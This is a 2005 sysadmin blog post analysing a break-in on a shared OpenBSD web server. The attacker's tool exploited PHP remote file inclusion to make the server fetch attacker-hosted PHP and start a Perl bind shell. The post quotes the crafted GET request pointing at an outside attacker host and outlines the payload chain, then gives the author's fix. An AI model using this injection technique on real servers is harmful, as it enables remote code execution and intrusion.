January 18th, 2005
While poking around in /tmp
on one of our shared-customer web servers the
other day, I noticed a /tmp/...
directory owned by www
.
Seemed a bit odd, so I looked inside and found such gems as hide.c
,
psybnc
, and bleh2.pid
.
As I was busy at the time, I killed the IRC bot that was being run and cleaned
up the directory and moved on.
Today, however, I noticed the same set of files had been put back, with timestamps of yesterday. I looked into it some more and it appears to be a root-kit-of-sorts (that doesn't actually get root, and its only purpose is to run an IRC bot/bouncer).
The main program, named
"dario",
is a program written in C that, given a URL to a PHP script vulnerable to
accepting user-supplied data for an fopen()
, will connect to the webserver and
issue a GET
request with a path of the local server's IP and the 'index
'
file:
GET /%shttp://%s:%d/index HTTP/1.0
Host: %s:%d
Using the conveniently-supplied example in the dario source, running the script from 192.168.1.1 as:
./dario http://localhost/index.php?file=
would connect to the server 'localhost
' and issue a GET
request of:
GET /index.php?file=http://192.168.1.1:1234/index HTTP/1.0
the program then responds to the PHP script (now calling fopen()
with a URL of
the local server), as an HTTP server responding to the '/index
' request and
feeds it the output of the
"evilcode.php
"
file.
This PHP code, when handed to the remote server, will echo the output of
'uname
', write some Perl code to the
/tmp/.bs.pl
file, make it executable, and run it in the background.
Now that the .bs.pl
file is running, it is listening on TCP port 60021.
Connecting to the just-exploited server on that port will yield a shell, running
as the Apache user (www
in our case).
Running 'strings
' on the lynx.core
file that was conveniently located in the
script kiddie's directory, I was able to see what they downloaded a
psybnc
archive among other
lame
programs used to try to cover the person's tracks.
I couldn't help but laugh, though, since their attempts didn't seem to work very
well on OpenBSD:
www 27014 0.0 0.0 92 4 ?? Is Mon05AM 0:00.00 httpd: child (httpd) (bd)
www 20342 0.0 0.0 508 4 ?? I Mon05AM 0:00.04 perl: lpd (perl)
Gee, i really thought that was the lpd
daemon running on our web server…
Anyway, the reason all of this was possible was due to a customer's website
being poorly coded in that they have one main PHP wrapper script (index.php
)
and the links on their page feed it a "page=something.html" argument for it to
open that file and wrap around it.
No validation of the input, obviously, and exploiting PHP's ability to fopen()
URLs yields arbitrary code execution.
Why PHP's allow_url_fopen
option was enabled on the servers, though, I don't
know.
I shut it off on all of them and cleaned up the mess from the kiddiots.
It sure would be nice to actually be able to use OpenBSD's chrooted Apache on
these servers, but being required to run mod_php
, mod_frontpage
(oh hell
yeah!), Perl, Python, TCL, and whatever else customers demand just doesn't make
it feasible.
PHP's built-in security measures like safe_mode
and open_basedir
don't do
much to thwart a customer that can upload a Perl script to do what they want.